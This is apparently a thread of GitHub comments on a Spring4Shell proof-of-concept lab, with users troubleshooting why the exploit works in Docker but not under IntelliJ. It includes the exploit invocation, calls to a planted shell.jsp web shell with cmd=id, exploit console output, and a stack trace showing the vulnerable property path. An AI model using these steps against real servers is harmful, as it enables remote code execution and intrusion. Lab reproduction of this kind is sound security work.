When the war file is deployed in the Docker container, the vulnerability can be exploited after running:

1. docker build . -t spring4shell && docker run -p 8080:8080 spring4shell
2. python3 exploit.py --url "http://localhost:8080/helloworld/greeting"
3. go to http://localhost:8080/shell.jsp?cmd=id

However, if I run this Spring Boot web app locally from IntelliJ (BTW, I had to add server.servlet.context-path=/helloworld in application.properties file) and try these steps:

1. python3 exploit.py --url "http://localhost:8080/helloworld/greeting"
2. go to http://localhost:8080/shell.jsp?cmd=id I've just got "HTTP Status 404 – Not Found" with http://localhost:8080/shell.jsp?cmd=id

Can someone shed the light on why the vulnerability can't be exploited when it's run locally from IntelliJ?

I'm getting status error code for some reasone

[] Resetting Log Variables. [] Response code: 500 [] Modifying Log Configurations [] Response code: 500 [] Response Code: 200 [] Resetting Log Variables. [*] Response code: 500 [+] Exploit completed [+] Check your target for a shell [+] File: shell.jsp [+] Shell should be at: http://localhost:8080/shell.jsp?cmd=id

Pushes to the Tomcat docker images have made it so the exploit fails. I have changed the version to a recent, but still vulnerable base image. I have also mirrored the image so that this doesn't happen again.

Hey @reznok, awesome work!

I was wondering if having the Model and @ModelAttribute are required to be susceptible to the exploit? Often, a Controller is annotated with @RestController and looks more like:

@RestController
@RequiredArgsConstructor
public class MyRestController {
    
    @NonNull private final MyService myService;
 
    @GetMapping(value = REQUEST_PREFIX + "/path/{somePathVariable}/items")
    public List<SomePojo> someGetRequest(@PathVariable Integer somePathVariable, @RequestParam(value = "itemIds") Set<UUID> itemIds) {
	    return myService.getSomePojos(somePathVariable, itemIds);
    }
}

my question in short is:

Is this exploitable @RestController with @PathVariable, @RequestParam? Or only for Model and @ModelAttribute as it's in your example repo?

facing this issue

python3 exploit.py --url "http://localhost:8080/helloworld/greeting" [*] Resetting Log Variables. [*] Response code: 500 [*] Modifying Log Configurations [*] Response code: 500 [*] Response Code: 200 [*] Resetting Log Variables. [*] Response code: 500 [+] Exploit completed [+] Check your target for a shell [+] File: shell.jsp [+] Shell should be at: http://localhost:8080/shell.jsp?cmd=id

Please let me know if there is any solution for this. Thanks.

I just want to comment here I can reproduce it using the Docker image. ...which is kind of scary itself.

I tried to reproduce it on some other system with another java/tomcat/webapp closer to a production app of mine and it didn't work there out of the box... still investigating.

Some minor refactoring of the CLI to explain what the magical string is.

Remove dependency on docker-compose.

The referenced blog post from Cyber Kendra initially contained click-bait content to draw traffic to the site and now it contains copy and pasted, uncited content stitched together.

https://twitter.com/wdormann/status/1509373584883523586

Full disclosure, my team wrote the linked blog post and has been our full time job for the past couple of days keeping this updated with community information.

Love this project! Thank you.

I am running into the following issue however when following your README:

1. load per the instructions
2. python3 exploit.py --url "http://localhost:8080/helloworld/greeting"
3. curl http://localhost:8080/shell.jsp?cmd=id

leads to the below stack trace in the shell where I started the project with sudo docker run -p 8080:8080 <image>

Any guidance you have is appreciated.

2022-04-03 03:19:30.775 ERROR 1 --- [nio-8080-exec-5] o.s.b.w.servlet.support.ErrorPageFilter  : Forwarding to error page from request [/greeting] due to exception [Invalid property 'class.module.classLoader.resources' of bean class [java.lang.Module]: Could not instantiate property type [org.apache.catalina.WebResourceRoot] to auto-grow nested property path; nested exception is java.lang.NoSuchMethodException: org.apache.catalina.WebResourceRoot.<init>()]

org.springframework.beans.NullValueInNestedPathException: Invalid property 'class.module.classLoader.resources' of bean class [java.lang.Module]: Could not instantiate property type [org.apache.catalina.WebResourceRoot] to auto-grow nested property path; nested exception is java.lang.NoSuchMethodException: org.apache.catalina.WebResourceRoot.<init>()
	at org.springframework.beans.AbstractNestablePropertyAccessor.newValue(AbstractNestablePropertyAccessor.java:923) ~[spring-beans-5.3.15.jar:5.3.15]
	at org.springframework.beans.AbstractNestablePropertyAccessor.createDefaultPropertyValue(AbstractNestablePropertyAccessor.java:887) ~[spring-beans-5.3.15.jar:5.3.15]
	at org.springframework.beans.AbstractNestablePropertyAccessor.setDefaultValue(AbstractNestablePropertyAccessor.java:874) ~[spring-beans-5.3.15.jar:5.3.15]
	at org.springframework.beans.AbstractNestablePropertyAccessor.getNestedPropertyAccessor(AbstractNestablePropertyAccessor.java:846) ~[spring-beans-5.3.15.jar:5.3.15]
	at org.springframework.beans.AbstractNestablePropertyAccessor.getPropertyAccessorForPropertyPath(AbstractNestablePropertyAccessor.java:820) ~[spring-beans-5.3.15.jar:5.3.15]
<snip>